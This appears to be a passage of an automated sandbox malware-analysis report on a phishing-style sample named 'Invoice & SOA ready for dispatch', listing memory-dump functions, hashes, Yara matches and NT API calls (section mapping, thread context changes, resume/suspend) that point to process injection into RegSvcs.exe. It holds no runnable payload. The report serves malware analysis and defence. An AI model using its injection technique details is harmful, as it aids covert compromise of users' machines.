Source File: 00000000.00000002.1262643375.0000000002D0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d0d000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6466e5e2003b7adeb53dbc447e419b07e4ae4d5725bab35c997e85a1f1277b3
Instruction ID: 6a9c34b310dd9c7df15b04206f05d2f41fceb9f4e80819396f78fb8f8e637d5c
Opcode Fuzzy Hash: a6466e5e2003b7adeb53dbc447e419b07e4ae4d5725bab35c997e85a1f1277b3
Instruction Fuzzy Hash: 99212971504304EFDB05DFA4D5C0B25BBA6FB88314F24C56EE84A4B3A6C336DC46CA61

Uniqueness

Uniqueness Score: -1.00%

Function 02D0D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1262643375.0000000002D0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d0d000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bbf4f102cb9b39c1d5d2a38a6196a93a185d4002e978c4ef8c70e2829fe6abc
Instruction ID: 37a1f5883a86ec2419c9fece97044bf90d6da45d07b88797b8c7f1651df12f2f
Opcode Fuzzy Hash: 1bbf4f102cb9b39c1d5d2a38a6196a93a185d4002e978c4ef8c70e2829fe6abc
Instruction Fuzzy Hash: C621FFB1604200DFDB14DF54D8C0F26BBA6EB84214F34C56AE84E4B3A6C33AD846CA62

Uniqueness

Uniqueness Score: -1.00%

Function 02D0D005 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1262643375.0000000002D0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d0d000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a4e701aa085e65e3efa65d996685749e265998578cbd1b05d9893bafde3de0a
Instruction ID: 5512e8e16316c58ae99e3d168fec70cb140b9e6faa9c92fb11adea28a6481e78
Opcode Fuzzy Hash: 0a4e701aa085e65e3efa65d996685749e265998578cbd1b05d9893bafde3de0a
Instruction Fuzzy Hash: 192183755093808FC712CF24D5D0B15BF71EB46214F28C5DBD8498F6A7C33A980ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 02CFD3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1262595676.0000000002CFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cfd000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2c4bb083ffa01750429338de36c7bd8c3c5b68e8b11f755f55576fea2132e6f
Instruction ID: fab350031e2aa54ba8093480a2f3b332f36e6aec44b8028086b8cd7b60e3d195
Opcode Fuzzy Hash: c2c4bb083ffa01750429338de36c7bd8c3c5b68e8b11f755f55576fea2132e6f
Instruction Fuzzy Hash: DB110376404240CFCB56CF00D5C0B16BF71FB84324F24C2A9D90A0B656C33AE556CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 02D0D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1262643375.0000000002D0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d0d000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3f327db0e2ed1f5e683527615b2bec1ac9a86c970599db5efe8bf84bff6eed3
Instruction ID: 48e04568bc3f4485e89578b5b29cfe4fee0f691d208dffc3250f7f9176d7f013
Opcode Fuzzy Hash: d3f327db0e2ed1f5e683527615b2bec1ac9a86c970599db5efe8bf84bff6eed3
Instruction Fuzzy Hash: 0E11BB75504280DFCB12CF64C5C0B15BBB2FB88214F28C6AAD8494B7A6C33AD80ACB61

Uniqueness

Uniqueness Score: -1.00%

Function 02CFD745 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1262595676.0000000002CFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cfd000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c227a3846a144d42b8521fd9ad0551b3441dfca535ec2f91c33bf72df86e32aa
Instruction ID: 6bbe38b9f42d6686478fee08c123a1250e9b7ff091f1d2689732f44fa2e1ce52
Opcode Fuzzy Hash: c227a3846a144d42b8521fd9ad0551b3441dfca535ec2f91c33bf72df86e32aa
Instruction Fuzzy Hash: 2D01DB714043409BE7A05E16CD84B66BB98DF82224F18C55BEE0B4F28AD7799541CA72

Uniqueness

Uniqueness Score: -1.00%

Function 02CFD744 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1262595676.0000000002CFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cfd000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18a2fb0d843f5f81e5fb7f65b67cba7e3f5a9fec9ca6f4ace5d8e4e8f1795e67
Instruction ID: 01e3d016e587d17697f78310a18d9fd3c44c17a277e43d5144b9199c7068db4e
Opcode Fuzzy Hash: 18a2fb0d843f5f81e5fb7f65b67cba7e3f5a9fec9ca6f4ace5d8e4e8f1795e67
Instruction Fuzzy Hash: DAF0C2714043409EE7648E16C884B62FB98EB81234F18C49AED094F29AC3799840CAB1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 054E2560 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1265525054.00000000054E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_54e0000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b69475c5a0288436c07f64b3cd6cb04fa66cc1c0eb9b3498f74601af32fc112
Instruction ID: 48cd7f8f4a525b03321468a69b6bcfaf1253bbcdd0b075b9a91b6c2f51131a20
Opcode Fuzzy Hash: 5b69475c5a0288436c07f64b3cd6cb04fa66cc1c0eb9b3498f74601af32fc112
Instruction Fuzzy Hash: F11296B0DC17458AE752DF66E94C18B3BA2B782319FD14B09D2612B2E1DBB411EACF44

Uniqueness

Uniqueness Score: -1.00%

Function 054E1BA0 Relevance: .3, Instructions: 260COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1265525054.00000000054E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_54e0000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f7c7fa14068d72052de8992409fbb45f8b044e04e725461ccd6e999ca1e2d64
Instruction ID: b4364875f5ba8938562d0766cc4d3b26c6e534ec543726364b6b0c4cece01d0f
Opcode Fuzzy Hash: 6f7c7fa14068d72052de8992409fbb45f8b044e04e725461ccd6e999ca1e2d64
Instruction Fuzzy Hash: 1DA17F36F402098FCF09DFB5C8849EEB7B2FF85301B1555AAE806AB265DB31E955CB40

Uniqueness

Uniqueness Score: -1.00%

Function 054E2550 Relevance: .2, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1265525054.00000000054E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_54e0000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fba6d940393174e34a84db5ab29ace5f4e9761a8ca03901bf44e58f324f9a0a
Instruction ID: 0eadf2abcf22e89314da4123b142817e25251eb55ee00451d6b7172f0054ade3
Opcode Fuzzy Hash: 4fba6d940393174e34a84db5ab29ace5f4e9761a8ca03901bf44e58f324f9a0a
Instruction Fuzzy Hash: E4C1F9B0DC17458BD712DF66E84828B7BB2BB86325FD54B09D1612B2D1DBB410EACF44

Uniqueness

Uniqueness Score: -1.00%

Function 02E97805 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1262831946.0000000002E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e90000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e169be17c575c7b3336fe7b2de35a29a20ca0599224356ff3e6a36c9381da39
Instruction ID: cafc29936ca0daae7c000ba481612bcd4311dd57122a301e56e8cdf3dd3d5435
Opcode Fuzzy Hash: 1e169be17c575c7b3336fe7b2de35a29a20ca0599224356ff3e6a36c9381da39
Instruction Fuzzy Hash: 74412679E9010E9FDF14CFA9E481AEDF7B1EF48304B14E219E016EB245DA31A801CB50

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RegSvcs.exePID: 7948, Parent PID: 7784COMMON

Execution Graph

Execution Coverage:	1.3%
Dynamic/Decrypted Code Coverage:	1.7%
Signature Coverage:	11%
Total number of Nodes:	401
Total number of Limit Nodes:	39

Executed Functions

Function 0040A9C3 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 186
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtMapViewOfSection.NTDLL(?,00000000,00000000,00000000,?,?,00000000,?,dn@,?,?,?,00000000), ref: 0040AB2D

Strings

dn@, xrefs: 0040ABDC
dn@, xrefs: 0040AB09, 0040AB0C

Memory Dump Source

Source File: 00000004.00000002.1350789547.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: SectionView
String ID: dn@$dn@
API String ID: 1323581903-1706352071
Opcode ID: fb6e65454f31f31e21a458745f26c9e500a48d3f4ca65e249766e07491ab640b
Instruction ID: 83a814acbb685b77b6810d9376fdb748afa93211dbf841ccc177d53d2bace50f
Opcode Fuzzy Hash: fb6e65454f31f31e21a458745f26c9e500a48d3f4ca65e249766e07491ab640b
Instruction Fuzzy Hash: 5C715C71E04248DFCB04CFA9C890AEEBBF2BF49304F18816AE559B7381D638A951CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0040A7A3 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 180
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateSection.NTDLL(?,00000000,000F001F,?,?,!n@,00000000,?,?,08000000), ref: 0040A901

Strings

!n@, xrefs: 0040A8E9, 0040A8EC

Memory Dump Source

Source File: 00000004.00000002.1350789547.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: CreateSection
String ID: !n@
API String ID: 2449625523-1265431164
Opcode ID: 6bd4d83ee47ceaa75d52cdd63ca5d5f621e47ad02fb05d4f576345a3f8b75b31
Instruction ID: ce495b3b561869dbc8fc36b938cc52476fbb54aa7ab0238764ec94916651f4e6
Opcode Fuzzy Hash: 6bd4d83ee47ceaa75d52cdd63ca5d5f621e47ad02fb05d4f576345a3f8b75b31
Instruction Fuzzy Hash: 28714DB1E04258DFCB04DFA9C490AEDBBF1BF89304F18806AE859B7341D638A952CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0040ABF3 Relevance: 1.7, APIs: 1, Instructions: 188
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateFile.NTDLL(?,?,?,?,?,?,00000000,?,?,?,?), ref: 0040AD61

Memory Dump Source

Source File: 00000004.00000002.1350789547.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 269faf619371c3f58e2e25edb940594807b334e9e7e360ba232f02bfdf2ea9aa
Instruction ID: f14eb1a64331bb52a8e8855b640313b0b1895f6e890bdce768e22456816ce4dd
Opcode Fuzzy Hash: 269faf619371c3f58e2e25edb940594807b334e9e7e360ba232f02bfdf2ea9aa
Instruction Fuzzy Hash: 9E814DB1E04258DFCB04CFA9C490AEDBBF6AF4D304F18816AE449B7341D638A952CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE23 Relevance: 1.7, APIs: 1, Instructions: 184
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtReadFile.NTDLL(?,?,?,?,?,?,00000000,?,?), ref: 0040AF89

Memory Dump Source

Source File: 00000004.00000002.1350789547.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 98473d7fb557d2295a68941d0b0f09a85a55da3a770275fd10d5b54c690f7971
Instruction ID: 0beaa5dd09238c7edd4954dbf8eb46c0cde398cd49cc1eb366be55cda25cee35
Opcode Fuzzy Hash: 98473d7fb557d2295a68941d0b0f09a85a55da3a770275fd10d5b54c690f7971
Instruction Fuzzy Hash: 9F713BB1E04258DFCB04CFA9C890AEEBBF5BF4D304F18806AE459B7341D638A952CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0040B6B3 Relevance: 1.7, APIs: 1, Instructions: 178
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemory.NTDLL(?,?,?,?,?,?), ref: 0040B80D

Memory Dump Source

Source File: 00000004.00000002.1350789547.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 1ac9d6d2b11310dafed3ec32fe3bba0151b125e011b9a49dd9478efdfa4473a6
Instruction ID: fe0ce7db222c1d8eb0fe099feec4cd10b543f912076bb5620a1e9d4cb4753506
Opcode Fuzzy Hash: 1ac9d6d2b11310dafed3ec32fe3bba0151b125e011b9a49dd9478efdfa4473a6
Instruction Fuzzy Hash: 02712B71E04158DFCB04CFA9C590AEDBBF5AF89304F18806AE459B7351D738A942CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0040A173 Relevance: 1.7, APIs: 1, Instructions: 170
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtSetContextThread.NTDLL(?,?), ref: 0040A2BD

Memory Dump Source

Source File: 00000004.00000002.1350789547.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 25b398d9a6a798ef72eb869fd76502e4b0c9cf1f1051236a5c0430f365006e85
Instruction ID: 6a6dc76597140017372b1d538b88ab95162cc3c9016f9a0dfc8cad79773124ab
Opcode Fuzzy Hash: 25b398d9a6a798ef72eb869fd76502e4b0c9cf1f1051236a5c0430f365006e85
Instruction Fuzzy Hash: 64714D71E04258DFCB04CFA9C490AEDBBF1BF49304F1880AAE859B7381D638A951DF55

Uniqueness

Uniqueness Score: -1.00%

Function 0040B293 Relevance: 1.7, APIs: 1, Instructions: 170nativeCOMMON

Download Yara Rule

APIs

NtDelayExecution.NTDLL(0041A7F1,?,?,?,00000000), ref: 0040B3DE

Memory Dump Source

Source File: 00000004.00000002.1350789547.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: DelayExecution
String ID:
API String ID: 1249177460-0
Opcode ID: 5f1c073d5a4ff4b444335385aa75158bb53d24fa1f0392a1284643a110bb535a
Instruction ID: 402c61849e0c0f7d0f7d82df15a61a001b6bd945b466c794d02df4329930ffe0
Opcode Fuzzy Hash: 5f1c073d5a4ff4b444335385aa75158bb53d24fa1f0392a1284643a110bb535a
Instruction Fuzzy Hash: E5712D71D04158DFCB04CFA9D490AEDBBF1AF49314F1880AAE855B7381D738AA42DB98

Uniqueness

Uniqueness Score: -1.00%

Function 0040A383 Relevance: 1.7, APIs: 1, Instructions: 170
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtResumeThread.NTDLL(00406F05,?,?,?,?), ref: 0040A4CD

Memory Dump Source

Source File: 00000004.00000002.1350789547.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: db8da98aaa5b8167ec181ef168eafdd788ef56a9bcfa16cf81b298b2d820e1d4
Instruction ID: 7456a2d5a560eaf50c033e48078aa5ce2dc3ed1382d0f5b948d32e13735b3adf
Opcode Fuzzy Hash: db8da98aaa5b8167ec181ef168eafdd788ef56a9bcfa16cf81b298b2d820e1d4
Instruction Fuzzy Hash: 14717F75E04258DFCB04CFA9D890AEDBBF1BF49304F18806AE459B7381D638A952CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00409D53 Relevance: 1.7, APIs: 1, Instructions: 170
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtSuspendThread.NTDLL(?,?), ref: 00409E9D

Memory Dump Source

Source File: 00000004.00000002.1350789547.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: SuspendThread
String ID:
API String ID: 3178671153-0
Opcode ID: 542633fa72b0620a3416b6bc305a684cbd9173e3e88c174bd1d097386e2aa372
Instruction ID: a18d80a6127605060e949f8b43330e2f742eb7dc9ff56a41aadffcb25826fdfb
Opcode Fuzzy Hash: 542633fa72b0620a3416b6bc305a684cbd9173e3e88c174bd1d097386e2aa372
Instruction Fuzzy Hash: 1F713C71E04158DFCB05CFA9C490AEDBBF1BF49304F1880AAE459B7382D638AD42DB94

Uniqueness

Uniqueness Score: -1.00%

Function 00409F63 Relevance: 1.7, APIs: 1, Instructions: 170
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtGetContextThread.NTDLL(?,?), ref: 0040A0AD

Memory Dump Source

Source File: 00000004.00000002.1350789547.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: aa83a82bf0fc778386d57edc80bbf3dae548785cea6c28dde3387bcb9055b0f5
Instruction ID: a22024bab7e4a10dc82285de41e07efcc03ae54b57d38ca20f882849651eb668
Opcode Fuzzy Hash: aa83a82bf0fc778386d57edc80bbf3dae548785cea6c28dde3387bcb9055b0f5
Instruction Fuzzy Hash: 7E713CB1E04258DFCB04CFA9C891AEDBBF1BF49304F18806AE455B7381D638A952DB55

Uniqueness

Uniqueness Score: -1.00%

Function 00417553 Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 004175C5

Memory Dump Source

Source File: 00000004.00000002.1350789547.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 504a5459d5ecf3373cbdd27d0092ae790cb40cf581195c9a81bb27e7d90e6776
Instruction ID: b31a2ad70a25c5b872769859c47bb6745bd4f82caac91601ca9b60a1fb6c03fb
Opcode Fuzzy Hash: 504a5459d5ecf3373cbdd27d0092ae790cb40cf581195c9a81bb27e7d90e6776
Instruction Fuzzy Hash: BB015EB1E0020DBBDB10DAE1DC42FDEB7B8AB14308F0081AAE90897240F635EB448B95

Uniqueness

Uniqueness Score: -1.00%

Function 004285D3 Relevance: 1.5, APIs: 1, Instructions: 25nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(0041A798,?,?,00000000,?,0041A798,?,?,?,?,?,?,?,?,00000000,?), ref: 0042860A

Memory Dump Source

Source File: 00000004.00000002.1350789547.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: a08fca5580a631a550be9335b754077320016150a14adcbc7aded5e184d4430a
Instruction ID: 63c3855c1ee8064f7fefbc51328cabf29162a6524d674791699fc45a0242d641
Opcode Fuzzy Hash: a08fca5580a631a550be9335b754077320016150a14adcbc7aded5e184d4430a
Instruction Fuzzy Hash: 35E04F772002147BD510BA5ADC01F9777ACDFC5710F408419FA4867142C674BA0087E5

Uniqueness

Uniqueness Score: -1.00%

Function 014A2B60 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 014A2B6A

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 922c6e2acdb1897f6abc048e5dbf486ddf002b7b813e05e037677e145c7fa944
Instruction ID: 6b5eb3f87b8f772ede388a199fa686bc6e8a1b13958d672c2eb85771c647025b
Opcode Fuzzy Hash: 922c6e2acdb1897f6abc048e5dbf486ddf002b7b813e05e037677e145c7fa944
Instruction Fuzzy Hash: C690026120240103410571584854656400E97F4201B55C022E1015591DC63589916635

Uniqueness

Uniqueness Score: -1.00%

Function 014A2DF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 014A2DFA

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 38bfd7721870e97a8d84264c8f4d7ca44c754e2936d97139d5209905344d27ca
Instruction ID: e13165985b3b0affc576b380d479a6d487f3fa06bb7d2080261e045dbb865702
Opcode Fuzzy Hash: 38bfd7721870e97a8d84264c8f4d7ca44c754e2936d97139d5209905344d27ca
Instruction Fuzzy Hash: 3690023120140513D11171584944747000D97E4241F95C413A0425559DD7668A52A631

Uniqueness

Uniqueness Score: -1.00%

Function 014A2C70 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 014A2C7A

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3e4e401a284f25b08fda22d30eec023597309844017a4c1676e5bee7153c5dab
Instruction ID: 7038de5d07d35ba1d443c00ace0aea00fd1b9678c014def232d6b5cff68c8377
Opcode Fuzzy Hash: 3e4e401a284f25b08fda22d30eec023597309844017a4c1676e5bee7153c5dab
Instruction Fuzzy Hash: 2E90023120148902D1107158884478A000997E4301F59C412A4425659DC7A589917631

Uniqueness

Uniqueness Score: -1.00%

Function 014A35C0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 014A35CA

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d958bfab99561d7f877a87a2f5ac80985c95e08c9043c565629f8e8da83b79c2
Instruction ID: 8f2177f3cb88557ca8ee605ed5f4a45cbb9dbd714cc566bdece1594410aa0a2d
Opcode Fuzzy Hash: d958bfab99561d7f877a87a2f5ac80985c95e08c9043c565629f8e8da83b79c2
Instruction Fuzzy Hash: 5C90023160550502D10071584954746100997E4201F65C412A0425569DC7A58A516AB2

Uniqueness

Uniqueness Score: -1.00%

Function 00413CAB Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 121
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

2N-F32-85, xrefs: 00413DE7, 00413DEA
2N-F32-85, xrefs: 00413DD3, 00413DDF, 00413DF0

Memory Dump Source

Source File: 00000004.00000002.1350789547.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID:
String ID: 2N-F32-85$2N-F32-85
API String ID: 0-2434227226
Opcode ID: 70b582366e06f5ac0427dc3d49c4097590755790c9ba1650b4abd29055ee6f03
Instruction ID: f1721900d1cac439e6491718fb3989da3defb19ea5ac9418864da7d87b076800
Opcode Fuzzy Hash: 70b582366e06f5ac0427dc3d49c4097590755790c9ba1650b4abd29055ee6f03
Instruction Fuzzy Hash: 0E31FE75804244AACB21DF759C81BDA7F39DF52720F18418EFA905F293E6684A47C3D8

Uniqueness

Uniqueness Score: -1.00%

Function 00413D5C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 58
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(2N-F32-85,00000111,00000000,00000000), ref: 00413DE0

Strings

2N-F32-85, xrefs: 00413DE7, 00413DEA
2N-F32-85, xrefs: 00413DD3, 00413DDF, 00413DF0

Memory Dump Source

Source File: 00000004.00000002.1350789547.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID: 2N-F32-85$2N-F32-85
API String ID: 1836367815-2434227226
Opcode ID: 8449736c34331a178468b52559db49dd57b402b6278abd2c4cef92207061087b
Instruction ID: 5ce9a90caf17c81275cd52158531782d6993ed42ec36a50565c332d43d568a81
Opcode Fuzzy Hash: 8449736c34331a178468b52559db49dd57b402b6278abd2c4cef92207061087b
Instruction Fuzzy Hash: A3110871E40218BADB21AB95DC47FDF7F3C9F41718F01806AFA047B180D6B857068BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00413D63 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(2N-F32-85,00000111,00000000,00000000), ref: 00413DE0

Strings

2N-F32-85, xrefs: 00413DE7, 00413DEA
2N-F32-85, xrefs: 00413DD3, 00413DDF, 00413DF0

Memory Dump Source

Source File: 00000004.00000002.1350789547.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID: 2N-F32-85$2N-F32-85
API String ID: 1836367815-2434227226
Opcode ID: 57165af586907a76e0bd6a60545070ed092d343e8dc6a5dad97ba6c1308409c2
Instruction ID: f7654e16b3fe1c6e1a408714e02349b22fc4c5201813e521ec0e73188af751ea
Opcode Fuzzy Hash: 57165af586907a76e0bd6a60545070ed092d343e8dc6a5dad97ba6c1308409c2
Instruction Fuzzy Hash: D601C871D4031876DB11A695DC06FDF7B7C9F41B58F01405AFA047B181D6B8570687A9

Uniqueness

Uniqueness Score: -1.00%

Function 004288E3 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 29
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

